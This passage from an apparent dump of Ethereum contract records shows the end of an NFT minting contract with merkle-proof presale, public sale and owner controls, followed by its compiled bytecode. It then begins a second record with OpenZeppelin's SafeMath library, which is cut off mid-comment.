LibAppStorage.getTokenUri(tokenId); } /// Minting method for people on the access list that can mint before the public sale and /// potentially with a reward of free passes. /// /// The merkle proof is for the combination of the senders address and number of allocated passes. /// These values are encoded to a fixed length padding to help prevent attacking the hash. /// /// The minter will only pay for any passes they mint beyond those allocated to them. They can /// mint as many times as they like, and with as many tokens at a time as they would like. We /// track the number of claimed tokens to prevent double dipping. function mintPresale( uint16 count, uint16 free, uint16 paid, bool vip, bytes32[] calldata proof ) external payable onlyPresale(vip) { LibAppStorage.AppStorage storage s = LibAppStorage.appStorage(); s.ensureEnoughSupply(count); address sender = _msgSender(); bytes32 leaf = keccak256(abi.encode(sender, free, paid, vip)); require(proof.verify(s.rootHash, leaf), "Presale Mint: could not verify merkle proof"); LibAppStorage.Presale storage presale = s.presaleByAddress[_msgSender()]; (uint16 paidUsed, uint16 freeUsed) = _calculateMintCounts(count, paid, free, presale.paid, presale.free); presale.free += freeUsed; presale.paid += paidUsed; emit PresaleClaimed(sender, paidUsed, freeUsed); uint256 cost = paidUsed * price; require(msg.value >= cost, "Insufficient funds"); _safeMintTokens(count); if (msg.value > cost) { uint256 refund = msg.value - cost; (bool success, ) = payable(sender).call{value: refund}(""); require(success, "Failed to refund additional value"); } } /// Perform a regular mint with no limit on passes per transaction. All passes are charged at full /// price. function mint(uint16 count) external payable onlyPublicSale { LibAppStorage.appStorage().ensureSaleLive(); uint256 cost = count * price; require(msg.value >= cost, "Insufficient funds"); _safeMintTokens(count); if (msg.value > cost) { uint256 refund = msg.value - cost; (bool success, ) = payable(msg.sender).call{value: refund}(""); require(success, "Failed to refund additional value"); } } function _calculateMintCounts( uint16 count, uint16 paid, uint16 free, uint16 paidClaimed, uint16 freeClaimed ) internal pure returns (uint16 paidUsed, uint16 freeUsed) { unchecked { uint16 paidRemain = LibAppStorage.clamp(int16(paid) - int16(paidClaimed)); uint16 freeRemain = LibAppStorage.clamp(int16(free) - int16(freeClaimed)); require(count <= freeRemain + paidRemain, "PRESALE: not enough mints left"); freeUsed = count > freeRemain ? freeRemain : count; paidUsed = count - freeUsed; require(freeUsed + paidUsed == count, "OOPS: overflow?"); } } function _safeMintTokens(uint16 count) internal { LibAppStorage.AppStorage storage s = LibAppStorage.appStorage(); s.ensureEnoughSupply(count); for (uint16 i = 0; i < count; i++) { uint256 id = s.nextTokenId(); _safeMint(msg.sender, id); } } /// Pauses the contract to prevent further sales. function pause() external virtual onlyOwner { _pause(); } /// Unpauses the contract to allow sales to continue. function unpause() external virtual onlyOwner { _unpause(); } function total() external pure returns (uint256) { return LibAppStorage.TOTAL; } function totalSupply() external view returns (uint256) { return LibAppStorage.appStorage().totalSupply(); } /// Returns the number of free passes claimed by a given wallet. function claimed(address addr) external view returns (uint256) { return LibAppStorage.appStorage().claimedByAddress[addr]; } /// Returns the number of free passes claimed by a given wallet. function presaleClaimed(address addr) external view returns (uint16, uint16) { LibAppStorage.Presale memory presale = LibAppStorage.appStorage().presaleByAddress[addr]; return (presale.free, presale.paid); } /// Returns the number of free passes claimed by the caller. function claimedByMe() external view returns (uint256) { return LibAppStorage.appStorage().claimedByAddress[msg.sender]; } /// Returns the number of free passes claimed by the caller. function presaleClaimedByMe() external view returns (uint16, uint16) { LibAppStorage.Presale memory presale = LibAppStorage.appStorage().presaleByAddress[msg.sender]; return (presale.free, presale.paid); } function presaleStartTime() public view returns (uint256) { return LibAppStorage.appStorage().publicLaunchDate; } function vipStartTime() public view returns (uint256) { return LibAppStorage.appStorage().publicLaunchDate - 24 hours; } function publicStartTime() public view returns (uint256) { return LibAppStorage.appStorage().publicLaunchDate + 24 hours; } /// Returns the timestamp of the public sale start time. function publicLaunch() external view returns (uint256) { return publicStartTime(); } function setSaleStartTime(uint40 launch_) external onlyOwner { LibAppStorage.appStorage().publicLaunchDate = launch_; } function presaleOpen() public view returns (bool) { return block.timestamp >= presaleStartTime(); } function saleOpen() public view returns (bool) { return block.timestamp >= publicStartTime(); } function vipSaleOpen() public view returns (bool) { return block.timestamp >= vipStartTime(); } /// Returns the root hash of the merkle tree proof used to validate the access list. function rootHash() external view returns (bytes32) { return LibAppStorage.appStorage().rootHash; } /// Updates the root hash of the merkle proof. function setRootHash(bytes32 rootHash_) external onlyOwner { LibAppStorage.appStorage().rootHash = rootHash_; } /// Updates the metadata URI. function setURI(string calldata baseURI) external onlyOwner { LibAppStorage.appStorage().baseUrl = baseURI; } /// Transfers the funds out of the contract to the owners wallet. function withdraw() public onlyOwner { uint256 balance = address(this).balance; payable(msg.sender).transfer(balance); emit WithdrawBalance(msg.sender, balance); } modifier onlyPresale(bool vip) { if (vip) { require(block.timestamp >= vipStartTime(), "VIP sale not open yet"); } else { require(block.timestamp >= presaleStartTime(), "Presale not open yet"); } require(block.timestamp < publicStartTime(), "Presale has closed"); _; } modifier onlyPublicSale() { require(saleOpen(), "Public sale not open yet"); _; } /// DANGER: Here be dragons! function destroy() external onlyOwner { selfdestruct(payable(msg.sender)); } function _beforeTokenTransfer( address from, address to, uint256 id ) internal virtual override(ERC721Upgradeable, ERC721PausableUpgradeable) { super._beforeTokenTransfer(from, to, id); } }
0x60806040526004361061026b5760003560e01c806370a0823111610144578063ad908c3f116100b6578063c884ef831161007a578063c884ef8314610706578063e985e9c51461075b578063f2fde38b146107a4578063f80a1dd8146107c4578063f9765bc1146107e4578063fb819a641461080457600080fd5b8063ad908c3f14610668578063b88d4fde1461067d578063bee6348a1461069d578063c6ab67a3146106b2578063c87b56dd146106e657600080fd5b80638da5cb5b116101085780638da5cb5b146105bc57806395d89b41146105da57806399288dbb146105ef578063a035b1fe14610604578063a22cb4651461061f578063a82524b21461063f57600080fd5b806370a082311461052d578063715018a61461054d5780637218ea771461056257806383197ef0146105925780638456cb59146105a757600080fd5b806323cf0a22116101dd57806342842e0e116101a157806342842e0e146104965780634cdf6b1f146104b65780634d416716146104cb5780635c975abb146104e05780635fd1bbc4146104f85780636352211e1461050d57600080fd5b806323cf0a22146104245780632d7eae66146104375780632ddbd13a146104575780633ccfd60b1461046c5780633f4ba83a1461048157600080fd5b8063095ea7b31161022f578063095ea7b31461037357806318160ddd146103935780631bc2aa68146103a85780631d80009a146103bd5780631e668c0b146103f157806323b872dd1461040457600080fd5b806301ffc9a71461027757806302fe5305146102ac578063032deb39146102ce57806306fdde0314610319578063081812fc1461033b57600080fd5b3661027257005b600080fd5b34801561028357600080fd5b506102976102923660046125a6565b610824565b60405190151581526020015b60405180910390f35b3480156102b857600080fd5b506102cc6102c73660046125ca565b610876565b005b3480156102da57600080fd5b503360009081527ffef720c38aad7454c32d10720d88088680569bb01047cae602877ca9299e8e2760205260409020545b6040519081526020016102a3565b34801561032557600080fd5b5061032e6108d9565b6040516102a39190612694565b34801561034757600080fd5b5061035b6103563660046126a7565b61096b565b6040516001600160a01b0390911681526020016102a3565b34801561037f57600080fd5b506102cc61038e3660046126dc565b610a00565b34801561039f57600080fd5b5061030b610b11565b3480156103b457600080fd5b50610297610b2f565b3480156103c957600080fd5b507ffef720c38aad7454c32d10720d88088680569bb01047cae602877ca9299e8e265461030b565b6102cc6103ff366004612728565b610b41565b34801561041057600080fd5b506102cc61041f3660046127df565b610f5f565b6102cc61043236600461281b565b610f90565b34801561044357600080fd5b506102cc6104523660046126a7565b6110e8565b34801561046357600080fd5b5061290461030b565b34801561047857600080fd5b506102cc611136565b34801561048d57600080fd5b506102cc6111cc565b3480156104a257600080fd5b506102cc6104b13660046127df565b611200565b3480156104c257600080fd5b5061030b61121b565b3480156104d757600080fd5b5061032e611225565b3480156104ec57600080fd5b5060975460ff16610297565b34801561050457600080fd5b5061030b611241565b34801561051957600080fd5b5061035b6105283660046126a7565b611274565b34801561053957600080fd5b5061030b610548366004612836565b6112eb565b34801561055957600080fd5b506102cc611372565b34801561056e57600080fd5b506105776113a6565b6040805161ffff9384168152929091166020830152016102a3565b34801561059e57600080fd5b506102cc611470565b3480156105b357600080fd5b506102cc61149d565b3480156105c857600080fd5b5060fb546001600160a01b031661035b565b3480156105e657600080fd5b5061032e6114cf565b3480156105fb57600080fd5b506102976114de565b34801561061057600080fd5b5061030b666a94d74f43000081565b34801561062b57600080fd5b506102cc61063a366004612851565b6114e8565b34801561064b57600080fd5b50600080516020612e758339815191525464ffffffffff1661030b565b34801561067457600080fd5b5061030b6114f3565b34801561068957600080fd5b506102cc6106983660046128cb565b61151b565b3480156106a957600080fd5b5061029761154d565b3480156106be57600080fd5b5061030b7fbc09e38d70d0b6508dd2d7bb5d8a491467f497122c35618eb87c0f5e6510e05681565b3480156106f257600080fd5b5061032e6107013660046126a7565b61156c565b34801561071257600080fd5b5061030b610721366004612836565b6001600160a01b031660009081527ffef720c38aad7454c32d10720d88088680569bb01047cae602877ca9299e8e27602052604090205490565b34801561076757600080fd5b5061029761077636600461298b565b6001600160a01b039182166000908152606a6020908152604080832093909416825291909152205460ff1690565b3480156107b057600080fd5b506102cc6107bf366004612836565b6115f4565b3480156107d057600080fd5b506102cc6107df3660046129ca565b61168f565b3480156107f057600080fd5b506105776107ff366004612836565b6116e4565b34801561081057600080fd5b506102cc61081f3660046129e5565b6117b8565b60006001600160e01b031982166380ac58cd60e01b148061085557506001600160e01b03198216635b5e139f60e01b145b8061087057506301ffc9a760e01b6001600160e01b03198316145b92915050565b60fb546001600160a01b031633146108a95760405162461bcd60e51b81526004016108a090612a39565b60405180910390fd5b6108d47ffef720c38aad7454c32d10720d88088680569bb01047cae602877ca9299e8e288383612500565b505050565b6060606580546108e890612a6e565b80601f016020809104026020016040519081016040528092919081815260200182805461091490612a6e565b80156109615780601f1061093657610100808354040283529160200191610961565b820191906000526020600020905b81548152906001019060200180831161094457829003601f168201915b5050505050905090565b6000818152606760205260408120546001600160a01b03166109e45760405162461bcd60e51b815260206004820152602c60248201527f4552433732313a20617070726f76656420717565727920666f72206e6f6e657860448201526b34b9ba32b73a103a37b5b2b760a11b60648201526084016108a0565b506000908152606960205260409020546001600160a01b031690565b6000610a0b82611274565b9050806001600160a01b0316836001600160a01b03161415610a795760405162461bcd60e51b815260206004820152602160248201527f4552433732313a20617070726f76616c20746f2063757272656e74206f776e656044820152603960f91b60648201526084016108a0565b336001600160a01b0382161480610a955750610a958133610776565b610b075760405162461bcd60e51b815260206004820152603860248201527f4552433732313a20617070726f76652063616c6c6572206973206e6f74206f7760448201527f6e6572206e6f7220617070726f76656420666f7220616c6c000000000000000060648201526084016108a0565b6108d4838361182c565b6000610b2a600080516020612e2083398151915261189a565b905090565b6000610b396114f3565b421015905090565b828015610b9c57610b506114f3565b421015610b975760405162461bcd60e51b8152602060048201526015602482015274159254081cd85b19481b9bdd081bdc195b881e595d605a1b60448201526064016108a0565b610bf9565b600080516020612e758339815191525464ffffffffff16421015610bf95760405162461bcd60e51b8152602060048201526014602482015273141c995cd85b19481b9bdd081bdc195b881e595d60621b60448201526064016108a0565b610c01611241565b4210610c445760405162461bcd60e51b8152602060048201526012602482015271141c995cd85b19481a185cc818db1bdcd95960721b60448201526064016108a0565b600080516020612e20833981519152610c618161ffff8a166118a4565b600033604080516001600160a01b038316602082015261ffff808c16928201929092529089166060820152871515608082015290915060009060a001604051602081830303815290604052805190602001209050610cfb8360020154828888808060200260200160405190810160405280939291908181526020018383602002808284376000920191909152509294939250506119109050565b610d5b5760405162461bcd60e51b815260206004820152602b60248201527f50726573616c65204d696e743a20636f756c64206e6f7420766572696679206d60448201526a32b935b63290383937b7b360a91b60648201526084016108a0565b336000908152600684016020526040812080549091908190610d8f908e908d908f9061ffff62010000820481169116611926565b8454919350915081908490600090610dac90849061ffff16612abf565b92506101000a81548161ffff021916908361ffff160217905550818360000160028282829054906101000a900461ffff16610de79190612abf565b92506101000a81548161ffff021916908361ffff1602179055507fb77b46beaad01ac4ea98a08ba197ee5592755072314f9e264b8f2fff7c2e092c858383604051610e54939291906001600160a01b0393909316835261ffff918216602084015216604082015260600190565b60405180910390a16000610e73666a94d74f43000061ffff8516612ae5565b905080341015610eba5760405162461bcd60e51b8152602060048201526012602482015271496e73756666696369656e742066756e647360701b60448201526064016108a0565b610ec38e611a16565b80341115610f4f576000610ed78234612b04565b90506000876001600160a01b03168260405160006040518083038185875af1925050503d8060008114610f26576040519150601f19603f3d011682016040523d82523d6000602084013e610f2b565b606091505b5050905080610f4c5760405162461bcd60e51b81526004016108a090612b1b565b50505b5050505050505050505050505050565b610f693382611a70565b610f855760405162461bcd60e51b81526004016108a090612b5c565b6108d4838383611b67565b610f986114de565b610fe45760405162461bcd60e51b815260206004820152601860248201527f5075626c69632073616c65206e6f74206f70656e20796574000000000000000060448201526064016108a0565b610ffb600080516020612e20833981519152611d12565b6000611012666a94d74f43000061ffff8416612ae5565b9050803410156110595760405162461bcd60e51b8152602060048201526012602482015271496e73756666696369656e742066756e647360701b60448201526064016108a0565b61106282611a16565b803411156110e45760006110768234612b04565b604051909150600090339083908381818185875af1925050503d80600081146110bb576040519150601f19603f3d011682016040523d82523d6000602084013e6110c0565b606091505b50509050806110e15760405162461bcd60e51b81526004016108a090612b1b565b50505b5050565b60fb546001600160a01b031633146111125760405162461bcd60e51b81526004016108a090612a39565b7ffef720c38aad7454c32d10720d88088680569bb01047cae602877ca9299e8e2655565b60fb546001600160a01b031633146111605760405162461bcd60e51b81526004016108a090612a39565b6040514790339082156108fc029083906000818181858888f1935050505015801561118f573d6000803e3d6000fd5b5060408051338152602081018390527f0875ab8e60d8ffe0781ba5e1d1adadeb6250bc1bee87d3094cc6ac4eb9f88512910160405180910390a150565b60fb546001600160a01b031633146111f65760405162461bcd60e51b81526004016108a090612a39565b6111fe611d6d565b565b6108d48383836040518060200160405280600081525061151b565b6000610b2a611241565b604051806060016040528060358152602001612e406035913981565b600080516020612e75833981519152546000906112689064ffffffffff1662015180612bad565b64ffffffffff16905090565b6000818152606760205260408120546001600160a01b0316806108705760405162461bcd60e51b815260206004820152602960248201527f4552433732313a206f776e657220717565727920666f72206e6f6e657869737460448201526832b73a103a37b5b2b760b91b60648201526084016108a0565b60006001600160a01b0382166113565760405162461bcd60e51b815260206004820152602a60248201527f4552433732313a2062616c616e636520717565727920666f7220746865207a65604482015269726f206164647265737360b01b60648201526084016108a0565b506001600160a01b031660009081526068602052604090205490565b60fb546001600160a01b0316331461139c5760405162461bcd60e51b81526004016108a090612a39565b6111fe6000611e00565b3360009081527ffef720c38aad7454c32d10720d88088680569bb01047cae602877ca9299e8e2a602090815260408083208151606081018352815461ffff8082168352620100009091041693810193909352815160e08101808452859485949093929084019160018401906007908288855b82829054906101000a900463ffffffff1663ffffffff16815260200190600401906020826003010492830192600103820291508084116114185750505092909352505082516020909301519296929550919350505050565b60fb546001600160a01b0316331461149a5760405162461bcd60e51b81526004016108a090612a39565b33ff5b60fb546001600160a01b031633146114c75760405162461bcd60e51b81526004016108a090612a39565b6111fe611e52565b6060606680546108e890612a6e565b6000610b39611241565b6110e4338383611ecd565b600080516020612e758339815191525460009061126890620151809064ffffffffff16612bcd565b6115253383611a70565b6115415760405162461bcd60e51b81526004016108a090612b5c565b6110e184848484611f9c565b6000610b39600080516020612e758339815191525464ffffffffff1690565b6000818152606760205260409020546060906001600160a01b03166115eb5760405162461bcd60e51b815260206004820152602f60248201527f4552433732314d657461646174613a2055524920717565727920666f72206e6f60448201526e3732bc34b9ba32b73a103a37b5b2b760891b60648201526084016108a0565b61087082611fcf565b60fb546001600160a01b0316331461161e5760405162461bcd60e51b81526004016108a090612a39565b6001600160a01b0381166116835760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016108a0565b61168c81611e00565b50565b60fb546001600160a01b031633146116b95760405162461bcd60e51b81526004016108a090612a39565b600080516020612e75833981519152805464ffffffffff191664ffffffffff92909216919091179055565b6001600160a01b03811660009081527ffef720c38aad7454c32d10720d88088680569bb01047cae602877ca9299e8e2a602090815260408083208151606081018352815461ffff8082168352620100009091041693810193909352815160e08101808452859485949093929084019160018401906007908288855b82829054906101000a900463ffffffff1663ffffffff168152602001906004019060208260030104928301926001038202915080841161175f575050509290935250508251602090930151929792965091945050505050565b7ffef720c38aad7454c32d10720d88088680569bb01047cae602877ca9299e8e2954600080516020612e208339815191529060ff166110e45760208201516001828101805464ffffffffff191664ffffffffff9093169290921790915591516002820155600501805460ff19169091179055565b600081815260696020526040902080546001600160a01b0319166001600160a01b038416908117909155819061186182611274565b6001600160a01b03167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560405160405180910390a45050565b6000610870825490565b6129048164ffffffffff166118b88461189a565b6118c29190612bf3565b11156110e45760405162461bcd60e51b815260206004820152601960248201527f4e6f7420656e6f75676820737570706c7920746f206d696e740000000000000060448201526064016108a0565b60008261191d8584612022565b14949350505050565b60008060006119368588036120ce565b905060006119458588036120ce565b905081810161ffff168961ffff1611156119a15760405162461bcd60e51b815260206004820152601e60248201527f50524553414c453a206e6f7420656e6f756768206d696e7473206c656674000060448201526064016108a0565b8061ffff168961ffff16116119b657886119b8565b805b925082890393508861ffff1684840161ffff1614611a0a5760405162461bcd60e51b815260206004820152600f60248201526e4f4f50533a206f766572666c6f773f60881b60448201526064016108a0565b50509550959350505050565b600080516020612e20833981519152611a338161ffff84166118a4565b60005b8261ffff168161ffff1610156108d4576000611a51836120e5565b9050611a5d33826120f7565b5080611a6881612c0b565b915050611a36565b6000818152606760205260408120546001600160a01b0316611ae95760405162461bcd60e51b815260206004820152602c60248201527f4552433732313a206f70657261746f7220717565727920666f72206e6f6e657860448201526b34b9ba32b73a103a37b5b2b760a11b60648201526084016108a0565b6000611af483611274565b9050806001600160a01b0316846001600160a01b03161480611b2f5750836001600160a01b0316611b248461096b565b6001600160a01b0316145b80611b5f57506001600160a01b038082166000908152606a602090815260408083209388168352929052205460ff165b949350505050565b826001600160a01b0316611b7a82611274565b6001600160a01b031614611be25760405162461bcd60e51b815260206004820152602960248201527f4552433732313a207472616e73666572206f6620746f6b656e2074686174206960448201526839903737ba1037bbb760b91b60648201526084016108a0565b6001600160a01b038216611c445760405162461bcd60e51b8152602060048201526024808201527f4552433732313a207472616e7366657220746f20746865207a65726f206164646044820152637265737360e01b60648201526084016108a0565b611c4f838383612111565b611c5a60008261182c565b6001600160a01b0383166000908152606860205260408120805460019290611c83908490612b04565b90915550506001600160a01b0382166000908152606860205260408120805460019290611cb1908490612bf3565b909155505060008181526067602052604080822080546001600160a01b0319166001600160a01b0386811691821790925591518493918716917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef91a4505050565b600181015464ffffffffff1642101561168c5760405162461bcd60e51b815260206004820152601f60248201527f5075626c69632073616c6520686173206e6f742073746172746564207965740060448201526064016108a0565b60975460ff16611db65760405162461bcd60e51b815260206004820152601460248201527314185d5cd8589b194e881b9bdd081c185d5cd95960621b60448201526064016108a0565b6097805460ff191690557f5db9ee0a495bf2e6ff9c91a7834c1ba4fdd244a5e8aa4e537bd38aeae4b073aa335b6040516001600160a01b03909116815260200160405180910390a1565b60fb80546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b60975460ff1615611e985760405162461bcd60e51b815260206004820152601060248201526f14185d5cd8589b194e881c185d5cd95960821b60448201526064016108a0565b6097805460ff191660011790557f62e78cea01bee320cd4e420270b5ea74000d11b0c9f74754ebdbfc544b05a258611de33390565b816001600160a01b0316836001600160a01b03161415611f2f5760405162461bcd60e51b815260206004820152601960248201527f4552433732313a20617070726f766520746f2063616c6c65720000000000000060448201526064016108a0565b6001600160a01b038381166000818152606a6020908152604080832094871680845294825291829020805460ff191686151590811790915591519182527f17307eab39ab6107e8899845ad3d59bd9653f200f220920489ca2b5937696c31910160405180910390a3505050565b611fa7848484611b67565b611fb38484848461211c565b6110e15760405162461bcd60e51b81526004016108a090612c2d565b60607ffef720c38aad7454c32d10720d88088680569bb01047cae602877ca9299e8e28611ffb8361221a565b60405160200161200c929190612c9b565b6040516020818303038152906040529050919050565b600081815b84518110156120c657600085828151811061204457612044612d56565b602002602001015190508083116120865760408051602081018590529081018290526060016040516020818303038152906040528051906020012092506120b3565b60408051602081018390529081018490526060016040516020818303038152906040528051906020012092505b50806120be81612d6c565b915050612027565b509392505050565b6000808260010b136120e1576000610870565b5090565b8054600101815560006108708261189a565b6110e4828260405180602001604052806000815250612318565b6108d483838361234b565b60006001600160a01b0384163b1561220f57604051630a85bd0160e11b81526001600160a01b0385169063150b7a0290612160903390899088908890600401612d87565b6020604051808303816000875af192505050801561219b575060408051601f3d908101601f1916820190925261219891810190612dc4565b60015b6121f5573d8080156121c9576040519150601f19603f3d011682016040523d82523d6000602084013e6121ce565b606091505b5080516121ed5760405162461bcd60e51b81526004016108a090612c2d565b805181602001fd5b6001600160e01b031916630a85bd0160e11b149050611b5f565b506001949350505050565b60608161223e5750506040805180820190915260018152600360fc1b602082015290565b8160005b8115612268578061225281612d6c565b91506122619050600a83612df7565b9150612242565b60008167ffffffffffffffff81111561228357612283612884565b6040519080825280601f01601f1916602001820160405280156122ad576020820181803683370190505b5090505b8415611b5f576122c2600183612b04565b91506122cf600a86612e0b565b6122da906030612bf3565b60f81b8183815181106122ef576122ef612d56565b60200101906001600160f81b031916908160001a905350612311600a86612df7565b94506122b1565b61232283836123b2565b61232f600084848461211c565b6108d45760405162461bcd60e51b81526004016108a090612c2d565b60975460ff16156108d45760405162461bcd60e51b815260206004820152602b60248201527f4552433732315061757361626c653a20746f6b656e207472616e73666572207760448201526a1a1a5b19481c185d5cd95960aa1b60648201526084016108a0565b6001600160a01b0382166124085760405162461bcd60e51b815260206004820181905260248201527f4552433732313a206d696e7420746f20746865207a65726f206164647265737360448201526064016108a0565b6000818152606760205260409020546001600160a01b03161561246d5760405162461bcd60e51b815260206004820152601c60248201527f4552433732313a20746f6b656e20616c7265616479206d696e7465640000000060448201526064016108a0565b61247960008383612111565b6001600160a01b03821660009081526068602052604081208054600192906124a2908490612bf3565b909155505060008181526067602052604080822080546001600160a01b0319166001600160a01b03861690811790915590518392907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef908290a45050565b82805461250c90612a6e565b90600052602060002090601f01602090048101928261252e5760008555612574565b82601f106125475782800160ff19823516178555612574565b82800160010185558215612574579182015b82811115612574578235825591602001919060010190612559565b506120e19291505b808211156120e1576000815560010161257c565b6001600160e01b03198116811461168c57600080fd5b6000602082840312156125b857600080fd5b81356125c381612590565b9392505050565b600080602083850312156125dd57600080fd5b823567ffffffffffffffff808211156125f557600080fd5b818501915085601f83011261260957600080fd5b81358181111561261857600080fd5b86602082850101111561262a57600080fd5b60209290920196919550909350505050565b60005b8381101561265757818101518382015260200161263f565b838111156110e15750506000910152565b6000815180845261268081602086016020860161263c565b601f01601f19169290920160200192915050565b6020815260006125c36020830184612668565b6000602082840312156126b957600080fd5b5035919050565b80356001600160a01b03811681146126d757600080fd5b919050565b600080604083850312156126ef57600080fd5b6126f8836126c0565b946020939093013593505050565b803561ffff811681146126d757600080fd5b803580151581146126d757600080fd5b60008060008060008060a0878903121561274157600080fd5b61274a87612706565b955061275860208801612706565b945061276660408801612706565b935061277460608801612718565b9250608087013567ffffffffffffffff8082111561279157600080fd5b818901915089601f8301126127a557600080fd5b8135818111156127b457600080fd5b8a60208260051b85010111156127c957600080fd5b6020830194508093505050509295509295509295565b6000806000606084860312156127f457600080fd5b6127fd846126c0565b925061280b602085016126c0565b9150604084013590509250925092565b60006020828403121561282d57600080fd5b6125c382612706565b60006020828403121561284857600080fd5b6125c3826126c0565b6000806040838503121561286457600080fd5b61286d836126c0565b915061287b60208401612718565b90509250929050565b634e487b7160e01b600052604160045260246000fd5b604051601f8201601f1916810167ffffffffffffffff811182821017156128c3576128c3612884565b604052919050565b600080600080608085870312156128e157600080fd5b6128ea856126c0565b935060206128f98187016126c0565b935060408601359250606086013567ffffffffffffffff8082111561291d57600080fd5b818801915088601f83011261293157600080fd5b81358181111561294357612943612884565b612955601f8201601f1916850161289a565b9150808252898482850101111561296b57600080fd5b808484018584013760008482840101525080935050505092959194509250565b6000806040838503121561299e57600080fd5b6129a7836126c0565b915061287b602084016126c0565b803564ffffffffff811681146126d757600080fd5b6000602082840312156129dc57600080fd5b6125c3826129b5565b6000604082840312156129f757600080fd5b6040516040810181811067ffffffffffffffff82111715612a1a57612a1a612884565b60405282358152612a2d602084016129b5565b60208201529392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600181811c90821680612a8257607f821691505b60208210811415612aa357634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b600061ffff808316818516808303821115612adc57612adc612aa9565b01949350505050565b6000816000190483118215151615612aff57612aff612aa9565b500290565b600082821015612b1657612b16612aa9565b500390565b60208082526021908201527f4661696c656420746f20726566756e64206164646974696f6e616c2076616c756040820152606560f81b606082015260800190565b60208082526031908201527f4552433732313a207472616e736665722063616c6c6572206973206e6f74206f6040820152701ddb995c881b9bdc88185c1c1c9bdd9959607a1b606082015260800190565b600064ffffffffff808316818516808303821115612adc57612adc612aa9565b600064ffffffffff83811690831681811015612beb57612beb612aa9565b039392505050565b60008219821115612c0657612c06612aa9565b500190565b600061ffff80831681811415612c2357612c23612aa9565b6001019392505050565b60208082526032908201527f4552433732313a207472616e7366657220746f206e6f6e20455243373231526560408201527131b2b4bb32b91034b6b83632b6b2b73a32b960711b606082015260800190565b60008151612c9181856020860161263c565b9290920192915050565b600080845481600182811c915080831680612cb757607f831692505b6020808410821415612cd757634e487b7160e01b86526022600452602486fd5b818015612ceb5760018114612cfc57612d29565b60ff19861689528489019650612d29565b60008b81526020902060005b86811015612d215781548b820152908501908301612d08565b505084890196505b505050505050612d4d612d3c8286612c7f565b64173539b7b760d91b815260050190565b95945050505050565b634e487b7160e01b600052603260045260246000fd5b6000600019821415612d8057612d80612aa9565b5060010190565b6001600160a01b0385811682528416602082015260408101839052608060608201819052600090612dba90830184612668565b9695505050505050565b600060208284031215612dd657600080fd5b81516125c381612590565b634e487b7160e01b600052601260045260246000fd5b600082612e0657612e06612de1565b500490565b600082612e1a57612e1a612de1565b50069056fefef720c38aad7454c32d10720d88088680569bb01047cae602877ca9299e8e24697066733a2f2f516d575a736f6f7064717a75786b61356e705045396f45776e4471534837744670557a6135735050413851624e73fef720c38aad7454c32d10720d88088680569bb01047cae602877ca9299e8e25a264697066735822122024fcdbe72cf50870332ffbde2934dc48d3365cc3ee37aff796f6087377f1155b64736f6c634300080b0033
[ 5 ]
0xf273e3bc6acdf27c01b8b1c35d39c33b067153dd
pragma solidity ^0.5.0; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. * * _Available since v2.4.0._ */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. * * _Available since v2.4.0._ */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the 